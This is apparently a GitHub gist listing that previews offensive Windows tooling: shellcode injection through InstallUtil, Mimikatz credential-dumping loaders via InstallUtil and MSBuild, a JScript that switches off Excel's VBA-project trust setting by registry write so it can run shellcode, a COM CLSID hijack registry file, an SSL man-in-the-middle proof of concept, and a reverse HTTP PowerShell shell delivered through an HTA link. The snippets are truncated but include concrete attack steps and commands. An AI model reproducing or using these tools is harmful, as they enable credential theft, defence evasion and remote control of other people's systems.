sinmygit’s gists

sinmygit / rwxHunter.cs

Created September 22, 2017 01:21

Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

sinmygit / katz.cs

Created September 22, 2017 01:19

.NET 2.0.50727 Mimikatz Extract and Execute -

This file has been truncated, but you can view the full file.

	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;

sinmygit / mimic.cs

Created September 22, 2017 01:11

WMI execution via C#

	using System;
	using System.Management;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause
	Step One:
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs
	Step Two:
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe

sinmygit / katz.xml

Created September 22, 2017 01:05

MSBuild - Mimikatz - Server 2016

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

sinmygit / MITM_SSL.cs

Created September 22, 2017 00:59

POC - SSL MITM in C# - Updates to add SAN for self-Signed Certs

	using System;
	using System.Net;
	using System.Net.Security;
	using System.Net.Sockets;
	using System.Text;
	using System.Security.Cryptography.X509Certificates;

	using CERTENROLLLib;

	public class Program

sinmygit / example.js

Created September 21, 2017 02:25

Shellcode via Office via . JS

	var objExcel = new ActiveXObject("Excel.Application");
	objExcel.Visible = false;
	var WshShell = new ActiveXObject("WScript.Shell");
	var Application_Version = objExcel.Version;//Auto-Detect Version
	var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
	WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
	var objWorkbook = objExcel.Workbooks.Add();
	var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
	// Sample Shell Code Execution Documented Here: https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/
	var strCode = 'Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long\n';

sinmygit / certutil.reg

Created September 21, 2017 02:19

certutil.exe COM CLSID Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00]
	@="Bandit"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit]
	@="Bandit"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

sinmygit / EmpireCOMPosh.cs

Created May 22, 2017 00:50

Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	//Add For PowerShell Invocation
	using System.Collections.ObjectModel;
	using System.Management.Automation;

sinmygit / gist:c6d092f24b9c2aa12c70

Created November 28, 2015 06:08

Reverse HTTP PowerShell

	<#
	Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta
	To change your server, simply find and replace 192.168.1.1 with your server in the code.
	#>

	function Receive-Request {
	param(
	$Request
	)
	$output = ""

sinmygit / PELoader.cs

Created November 28, 2015 06:05

Reflective PE Injection Mimikatz - Via InstallUtil.exe

	using System;
	using System.IO;
	using System.Text;
	using System.Collections.Generic;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;



	/*

marks sinmygit